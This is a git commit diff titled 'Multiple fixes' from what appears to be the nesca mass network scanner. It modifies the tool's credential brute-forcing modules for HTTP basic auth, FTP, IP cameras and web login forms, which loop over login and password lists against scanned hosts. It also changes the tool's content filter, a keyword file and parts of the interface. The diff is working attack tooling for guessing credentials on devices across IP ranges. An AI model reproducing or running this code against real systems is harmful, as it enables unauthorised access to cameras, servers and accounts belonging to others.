Multiple fixes.

This commit is contained in:
cora32 2015-04-04 10:24:31 +03:00
parent 8757c40c98
commit cc1e51e2a8
10 changed files with 90 additions and 63 deletions

View File

@ -38,6 +38,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other)); ZeroMemory(lps.other, sizeof(lps.other));
int passCounter = 0; int passCounter = 0;
int res = 0;
for(int i = 0; i < MaxLogin; ++i) { for(int i = 0; i < MaxLogin; ++i) {
for (int j = 0; j < MaxPass; ++j) { for (int j = 0; j < MaxPass; ++j) {
@ -46,13 +47,15 @@ lopaStr BA::BABrute(const char *ip, const int port) {
lpString = string(loginLst[i]) + ":" + string(passLst[j]); lpString = string(loginLst[i]) + ":" + string(passLst[j]);
if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps; res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString);
if (res == -2) return lps;
if(checkOutput(&buffer, ip, port)) { else if (res != -1) {
if (checkOutput(&buffer, ip, port)) {
strcpy(lps.login, loginLst[i]); strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]); strcpy(lps.pass, passLst[j]);
return lps; return lps;
}; };
}
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) + if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +

View File

@ -185,8 +185,8 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
Activity += buffer->size(); Activity += buffer->size();
return buffer->size(); return buffer->size();
} else { } else {
if (res != 28 && if (res == 6) return -2;
res != 6 && else if (res != 28 &&
res != 7 && res != 7 &&
res != 67 && res != 67 &&
res != 52 && res != 52 &&
@ -218,14 +218,11 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " + else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " +
QString(ip) + ":" + QString::number(port)); QString(ip) + ":" + QString::number(port));
} }
else if (gMode == 1 && res == 6) return -2;
if(res == 23 && buffer->size() > 0) { if(res == 23 && buffer->size() > 0) {
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]")); if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]"));
return buffer->size(); return buffer->size();
} else { } else return -1;
return -1;
}
} }
} else { } else {
stt->doEmitionRedFoundData("Curl error."); stt->doEmitionRedFoundData("Curl error.");

View File

@ -13,10 +13,7 @@ bool FTPA::checkOutput(const string *buffer) {
lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
string buffer; string buffer;
string lpString; string lpString;
lopaStr lps{"UNKNOWN", "", ""};; lopaStr lps{"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
int res = 0; int res = 0;
@ -24,6 +21,7 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
char login[128] = {0}; char login[128] = {0};
char pass[32] = {0}; char pass[32] = {0};
char nip[128] = { 0 };
for(int i = 0; i < MaxLogin; ++i) for(int i = 0; i < MaxLogin; ++i)
{ {
@ -43,7 +41,9 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
lpString = string(login) + ":" + string(pass); lpString = string(login) + ":" + string(pass);
res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString); ZeroMemory(nip, 128);
sprintf(nip, "ftp://%s", ip);
res = Connector::nConnect(nip, port, &buffer, NULL, NULL, &lpString);
if (res == -2) return lps; if (res == -2) return lps;
else if (res != -1) { else if (res != -1) {
if (!globalScanFlag) return lps; if (!globalScanFlag) return lps;

View File

@ -7,9 +7,6 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{ {
lopaStr lps{"UNKNOWN", "", ""}; lopaStr lps{"UNKNOWN", "", ""};
bool result = true; bool result = true;
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
char login[128] = {0}; char login[128] = {0};
char pass[128] = {0}; char pass[128] = {0};
char request[1024] = {0}; char request[1024] = {0};
@ -69,18 +66,18 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{ {
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
strcpy(lps.login, "UNKNOWN");
return lps; return lps;
}; };
for(int i = 0; i < MaxLogin; i++) int res = 0;
for(int i = 0; i < MaxLogin; ++i)
{ {
if(!globalScanFlag) break; if(!globalScanFlag) break;
if(strcmp(loginLst[i], " ") == 0) continue; if(strcmp(loginLst[i], " ") == 0) continue;
ZeroMemory(login, sizeof(login)); ZeroMemory(login, sizeof(login));
strcpy(login, loginLst[i]); strcpy(login, loginLst[i]);
for(int j = 0; j < MaxPass; j++) for(int j = 0; j < MaxPass; ++j)
{ {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
if(!globalScanFlag) break; if(!globalScanFlag) break;
@ -141,32 +138,33 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
std::string buffer; std::string buffer;
if(doPost) { if(doPost) {
if (Connector::nConnect(request, port, &buffer, postData) == -2) return lps; res = Connector::nConnect(request, port, &buffer, postData);
} else { } else {
if (Connector::nConnect(request, port, &buffer) == -2) return lps; res = Connector::nConnect(request, port, &buffer);
} }
for(int i = 0; i < negVector.size(); ++i) if (res == -2) return lps;
else if (res != -1) {
for (int i = 0; i < negVector.size(); ++i)
{ {
if(Utils::ci_find_substr(buffer, negVector[i]) != -1) if (Utils::ci_find_substr(buffer, negVector[i]) != -1)
{ {
result = false; result = false;
break; break;
}; };
}; };
if(result) if (result)
{ {
strcpy(lps.login, loginLst[i]); strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]); strcpy(lps.pass, passLst[j]);
return lps; return lps;
}; };
}
++passCounter;
if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) + if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" + "; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100); Sleep(100);
}; };

View File

@ -8,7 +8,7 @@ lopaStr WFClass::parseResponse(const char *ip,
const char *login, const char *login,
const char *pass) { const char *pass) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; lopaStr result = {"UNKNOWN", "", ""};
if(buffer->size() != 0) if(buffer->size() != 0)
{ {
@ -53,7 +53,7 @@ lopaStr WFClass::doGetCheck(const char *ip,
char *passVal, char *passVal,
char *formVal) { char *formVal) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0; int passCounter = 0;
int firstCycle = 0; int firstCycle = 0;
@ -81,12 +81,12 @@ lopaStr WFClass::doGetCheck(const char *ip,
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass); sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass);
std::string buffer; std::string buffer;
Connector::nConnect(nip, port, &buffer); if(Connector::nConnect(nip, port, &buffer) <= 0) return result;
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
"; login/pass: "+ QString(login) + ":" + QString(pass) + "; login/pass: "+ QString(login) + ":" + QString(pass) +
"; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); "; - Progress: (" +
++passCounter; QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
result = parseResponse(ip, port, &buffer, formVal, login, pass); result = parseResponse(ip, port, &buffer, formVal, login, pass);
if(i == 0) ++i; if(i == 0) ++i;
@ -104,7 +104,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
char *passVal, char *passVal,
char *formVal) { char *formVal) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0; int passCounter = 0;
int firstCycle = 0; int firstCycle = 0;
@ -134,7 +134,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass); sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass);
std::string buffer; std::string buffer;
Connector::nConnect(nip, port, &buffer, postData); if(Connector::nConnect(nip, port, &buffer, postData) <= 0) return result;
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
QString(login) + ":" + QString(pass) + "; - Progress: (" + QString(login) + ":" + QString(pass) + "; - Progress: (" +

View File

@ -368,19 +368,39 @@ int ContentFilter(const char *buff, int port, const char *ip, char *cp, int sz)
{ {
if(buff != NULL) if(buff != NULL)
{ {
QTextCodec *codec;
QString strf;
if (strstri(cp, "shift_jis") != NULL)
{
codec = QTextCodec::codecForName("Shift-JIS");
strf = codec->toUnicode(buff).toLower();
}
else if (strstri(cp, "utf") != NULL)
{
codec = QTextCodec::codecForName("UTF-8");
strf = codec->toUnicode(buff).toLower();
}
else if (strstri(cp, "cp") != NULL || strstri(cp, "windows") != NULL)
{
codec = QTextCodec::codecForName("Windows-1251");
strf = codec->toUnicode(buff).toLower();
}
else strf = QString(buff);
int res = 0; int res = 0;
if(sz <= 500) if(sz <= 500)
{ {
res = _mainFinderFirst(toLowerStr(buff).c_str(), 1, port, ip, sz); res = _mainFinderFirst(strf.toLocal8Bit().data(), 1, port, ip, sz);
} }
else if((sz > 500 && sz <= 3500) || sz > 180000) else if((sz > 500 && sz <= 3500) || sz > 180000)
{ {
res = _mainFinderFirst(toLowerStr(buff).c_str(), 0, port, ip, sz); res = _mainFinderFirst(strf.toLocal8Bit().data(), 0, port, ip, sz);
} }
else if(sz > 3500 && sz <= 180000) else if(sz > 3500 && sz <= 180000)
{ {
res = _mainFinderSecond(toLowerStr(buff).c_str(), port, ip); res = _mainFinderSecond(strf.toLocal8Bit().data(), port, ip);
}; };
return res; return res;
@ -2053,6 +2073,7 @@ void _getPopupTitle(PathStr *ps, char *str)
void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int port) void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int port)
{ {
if (strstri(str, ".title") != NULL) return;
char *ptr1 = strstr(str, tag); char *ptr1 = strstr(str, tag);
if(ptr1 != NULL) if(ptr1 != NULL)
{ {
@ -2135,7 +2156,8 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
} }
else else
{ {
stt->doEmitionRedFoundData("[JSLocator] _findFirst failed [" + QString(ip) + ":" + QString::number(port) + "]"); stt->doEmitionRedFoundData("[JSLocator] Location extraction failed [<a href=\"http://" +
QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>]");
}; };
}; };
} }

View File

@ -1,3 +1,4 @@
ي<EFBFBD>ُوْ<EFBFBD>
г‚Ёгѓ©гѓј г‚Ёгѓ©гѓј
pagerror pagerror
Error report Error report
@ -892,5 +893,4 @@ UNKNOWN HOST
офис офис
юридич юридич
страница не найдена страница не найдена
ي<EFBFBD>ُوْ<EFBFBD>
прода прода

View File

@ -1498,7 +1498,9 @@ void nesca_3::slotSaveImage(QAction *qwe)
{ {
if(ME2ScanFlag || VoiceScanFlag) if(ME2ScanFlag || VoiceScanFlag)
{ {
QString fn = QString::number(QT.msec()) + "_" + (ME2ScanFlag ? QString("ME2") : QString("Voice")) + "_" + (ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png"; QString fn = QString::number(QT.msec()) + "_" +
(ME2ScanFlag ? QString("ME2") : QString("Voice")) + "_" +
(ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png";
int ax = 27; int ax = 27;
int ay = 2; int ay = 2;
int w = ui->graphicLog->width() + 30; int w = ui->graphicLog->width() + 30;
@ -1539,7 +1541,9 @@ void nesca_3::slotSaveImage(QAction *qwe)
} }
else else
{ {
QString fn = QString::number(QT.msec()) + "_" + (PieStatFlag ? "PieStat" : "QoS") + "_" + (ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png"; QString fn = QString::number(QT.msec()) + "_" +
(PieStatFlag ? "PieStat" : "QoS") + "_" +
(ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png";
QPixmap pixmap(ui->graphicLog->width(), ui->graphicLog->height()); QPixmap pixmap(ui->graphicLog->width(), ui->graphicLog->height());
QPainter painter(&pixmap); QPainter painter(&pixmap);
@ -2046,7 +2050,6 @@ void nesca_3::IPScanSeq()
{ {
if(ui->portLine->text() != "") if(ui->portLine->text() != "")
{ {
_LoadPersInfoToLocalVars(savedTabIndex);
stopFirst = false; stopFirst = false;
ui->tabMainWidget->setTabEnabled(1, false); ui->tabMainWidget->setTabEnabled(1, false);
ui->tabMainWidget->setTabEnabled(2, false); ui->tabMainWidget->setTabEnabled(2, false);
@ -2068,6 +2071,7 @@ void nesca_3::IPScanSeq()
}; };
}; };
saveOptions();
strcpy(inputStr, ("DUMMY|0|" + rangeData + "|" + ui->threadLine->text() + "|-p" + ui->portLine->text().replace(" ", "")).toLocal8Bit().data()); strcpy(inputStr, ("DUMMY|0|" + rangeData + "|" + ui->threadLine->text() + "|-p" + ui->portLine->text().replace(" ", "")).toLocal8Bit().data());
stt->start(); stt->start();
@ -2142,7 +2146,7 @@ void nesca_3::DNSScanSeq()
ui->lineILVL->setText(topLevelDomainStr); ui->lineILVL->setText(topLevelDomainStr);
}; };
_LoadPersInfoToLocalVars(savedTabIndex); saveOptions();
stopFirst = false; stopFirst = false;
ui->tabMainWidget->setTabEnabled(0, false); ui->tabMainWidget->setTabEnabled(0, false);
@ -2186,10 +2190,10 @@ void nesca_3::ImportScanSeq()
if(fileName != "") if(fileName != "")
{ {
_LoadPersInfoToLocalVars(savedTabIndex);
ui->tabMainWidget->setTabEnabled(0, false); ui->tabMainWidget->setTabEnabled(0, false);
ui->tabMainWidget->setTabEnabled(1, false); ui->tabMainWidget->setTabEnabled(1, false);
saveOptions();
strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data()); strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data());
globalScanFlag = true; globalScanFlag = true;

View File

@ -181,7 +181,10 @@ void _SaveBackupToFile()
{ {
if (gMode == 1) if (gMode == 1)
{ {
strcpy(endStr, currentMask); if (strlen(currentMask) == 0) {
sprintf(endStr, "%s", currentIP);
}
else strcpy(endStr, currentMask);
} }
else else
{ {

View File

@ -1 +1 @@
24B84-386 24B84-3FA